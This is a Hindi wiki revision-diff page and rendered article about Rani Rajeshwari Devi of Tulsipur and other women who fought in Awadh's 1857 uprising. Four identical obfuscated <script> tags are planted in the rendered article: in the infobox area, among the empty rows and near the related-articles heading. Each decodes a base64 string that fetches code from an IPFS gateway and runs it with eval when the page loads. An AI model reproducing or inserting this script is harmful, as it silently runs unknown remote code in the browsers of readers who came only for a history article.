"रानी राजेश्वरी देवी" के अवतरणों में अंतर
('*बेगम हज़रत महल के बाद अवध के मुक्ति संग्राम में ज...' के साथ नया पन्ना बनाया) |
|||
(4 सदस्यों द्वारा किये गये बीच के 12 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | + | {{सूचना बक्सा प्रसिद्ध व्यक्तित्व | |
+ | |चित्र=blankimage.png | ||
+ | |चित्र का नाम= | ||
+ | |पूरा नाम=रानी राजेश्वरी देवी | ||
+ | |अन्य नाम= | ||
+ | |जन्म= | ||
+ | |जन्म भूमि= | ||
+ | |मृत्यु= | ||
+ | |मृत्यु स्थान= | ||
+ | |अभिभावक= | ||
+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |गुरु= | ||
+ | |कर्म भूमि= | ||
+ | |कर्म-क्षेत्र= | ||
+ | |मुख्य रचनाएँ= | ||
+ | |विषय= | ||
+ | |खोज= | ||
+ | |भाषा= | ||
+ | |शिक्षा= | ||
+ | |विद्यालय= | ||
+ | |पुरस्कार-उपाधि= | ||
+ | |प्रसिद्धि=वीरांगनाएँ | ||
+ | |विशेष योगदान= [[बेगम हज़रत महल]] के बाद [[अवध]] के मुक्ति संग्राम में दूसरी वीरांगना के रूप में प्रमुखता से भाग लिया। | ||
+ | |नागरिकता=भारतीय | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |शीर्षक 3= | ||
+ | |पाठ 3= | ||
+ | |शीर्षक 4= | ||
+ | |पाठ 4= | ||
+ | |शीर्षक 5= | ||
+ | |पाठ 5= | ||
+ | |अन्य जानकारी=रानी राजेश्वरी देवी गोण्डा से 40 किलोमीटर दूर तुलसीपुर रियासत की थीं। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''रानी राजेश्वरी देवी''' [[बेगम हज़रत महल]] के बाद [[अवध]] के मुक्ति संग्राम में दूसरी वीरांगना के रूप में प्रमुखता से भाग लिया। वे गोण्डा से 40 किलोमीटर दूर तुलसीपुर रियासत की थीं। | ||
*राजेश्वरी देवी ने होपग्राण्ट के सैनिक दस्तों से जमकर मुक़ाबला लिया। | *राजेश्वरी देवी ने होपग्राण्ट के सैनिक दस्तों से जमकर मुक़ाबला लिया। | ||
− | *अवध की | + | *अवध की बेगम आलिया ने भी अपने अद्भुत कारनामों से अंग्रेज़ी हुकूमत को चुनौती दी। |
*बेगम आलिया 1857 के एक वर्ष पूर्व से ही अपनी सेना में शामिल महिलाओं को शस्त्रकला में प्रशिक्षण देकर सम्भावित क्रांति की योजनाओं को मूर्त रूप देने में संलग्न हो गयी थीं। | *बेगम आलिया 1857 के एक वर्ष पूर्व से ही अपनी सेना में शामिल महिलाओं को शस्त्रकला में प्रशिक्षण देकर सम्भावित क्रांति की योजनाओं को मूर्त रूप देने में संलग्न हो गयी थीं। | ||
*अपने महिला गुप्तचर के गुप्त भेदों के माध्यम से बेगम आलिया ने समय-समय पर ब्रिटिश सैनिकों से युद्ध किया और कई बार अवध से उन्हें भगाया। | *अपने महिला गुप्तचर के गुप्त भेदों के माध्यम से बेगम आलिया ने समय-समय पर ब्रिटिश सैनिकों से युद्ध किया और कई बार अवध से उन्हें भगाया। | ||
− | *इसी प्रकार अवध के सलोन ज़िले में सिमरपहा के तालुकदार वसंत सिंह बैस की पत्नी और बाराबंकी के मिर्जापुर रियासत की रानी तलमुंद कोइर भी इस संग्राम में सक्रिय रहीं। | + | *इसी प्रकार अवध के सलोन ज़िले में सिमरपहा के तालुकदार वसंत सिंह बैस की पत्नी और [[बाराबंकी]] के मिर्जापुर रियासत की रानी तलमुंद कोइर भी इस संग्राम में सक्रिय रहीं। |
*अवध के सलोन ज़िले में भदरी की तालुकदार ठकुराइन सन्नाथ कोइर ने विद्रोही नाज़िम फ़ज़ल अजीम को अपने कुछ सैनिक और तोपें, तो मनियारपुर की सोगरा बीबी ने अपने 400 सैनिक और दो तोपें सुल्तानपुर के नाजिम और प्रमुख विद्रोही नेता मेंहदी हसन को दी। | *अवध के सलोन ज़िले में भदरी की तालुकदार ठकुराइन सन्नाथ कोइर ने विद्रोही नाज़िम फ़ज़ल अजीम को अपने कुछ सैनिक और तोपें, तो मनियारपुर की सोगरा बीबी ने अपने 400 सैनिक और दो तोपें सुल्तानपुर के नाजिम और प्रमुख विद्रोही नेता मेंहदी हसन को दी। | ||
*इन सभी ने बिना इस बात की परवाह किये हुये कि उनके इस सहयोग का अंजाम क्या होगा, क्रांतिकारियों को पूरी सहायता दी। | *इन सभी ने बिना इस बात की परवाह किये हुये कि उनके इस सहयोग का अंजाम क्या होगा, क्रांतिकारियों को पूरी सहायता दी। | ||
− | + | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}} | |
− | + | ==संबंधित लेख== | |
− | {{लेख प्रगति | + | {{भारतीय वीरांगनाएँ}}{{भारत की रानियाँ और महारानियाँ}} |
− | |आधार= | + | [[Category:स्वतन्त्रता संग्राम 1857]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:वीरांगनाएँ]][[Category:भारतीय वीरांगनाएँ]][[Category:भारत की रानियाँ और महारानियाँ]] |
− | |प्रारम्भिक= | ||
− | |माध्यमिक= | ||
− | |पूर्णता= | ||
− | |शोध= | ||
− | }} | ||
− | |||
− | [[Category: | ||
__INDEX__ | __INDEX__ |
06:48, 10 मई 2020 के समय का अवतरण
रानी राजेश्वरी देवी
| |
पूरा नाम | रानी राजेश्वरी देवी |
प्रसिद्धि | वीरांगनाएँ |
विशेष योगदान | बेगम हज़रत महल के बाद अवध के मुक्ति संग्राम में दूसरी वीरांगना के रूप में प्रमुखता से भाग लिया। |
नागरिकता | भारतीय |
अन्य जानकारी | रानी राजेश्वरी देवी गोण्डा से 40 किलोमीटर दूर तुलसीपुर रियासत की थीं। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
रानी राजेश्वरी देवी बेगम हज़रत महल के बाद अवध के मुक्ति संग्राम में दूसरी वीरांगना के रूप में प्रमुखता से भाग लिया। वे गोण्डा से 40 किलोमीटर दूर तुलसीपुर रियासत की थीं।
- राजेश्वरी देवी ने होपग्राण्ट के सैनिक दस्तों से जमकर मुक़ाबला लिया।
- अवध की बेगम आलिया ने भी अपने अद्भुत कारनामों से अंग्रेज़ी हुकूमत को चुनौती दी।
- बेगम आलिया 1857 के एक वर्ष पूर्व से ही अपनी सेना में शामिल महिलाओं को शस्त्रकला में प्रशिक्षण देकर सम्भावित क्रांति की योजनाओं को मूर्त रूप देने में संलग्न हो गयी थीं।
- अपने महिला गुप्तचर के गुप्त भेदों के माध्यम से बेगम आलिया ने समय-समय पर ब्रिटिश सैनिकों से युद्ध किया और कई बार अवध से उन्हें भगाया।
- इसी प्रकार अवध के सलोन ज़िले में सिमरपहा के तालुकदार वसंत सिंह बैस की पत्नी और बाराबंकी के मिर्जापुर रियासत की रानी तलमुंद कोइर भी इस संग्राम में सक्रिय रहीं।
- अवध के सलोन ज़िले में भदरी की तालुकदार ठकुराइन सन्नाथ कोइर ने विद्रोही नाज़िम फ़ज़ल अजीम को अपने कुछ सैनिक और तोपें, तो मनियारपुर की सोगरा बीबी ने अपने 400 सैनिक और दो तोपें सुल्तानपुर के नाजिम और प्रमुख विद्रोही नेता मेंहदी हसन को दी।
- इन सभी ने बिना इस बात की परवाह किये हुये कि उनके इस सहयोग का अंजाम क्या होगा, क्रांतिकारियों को पूरी सहायता दी।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>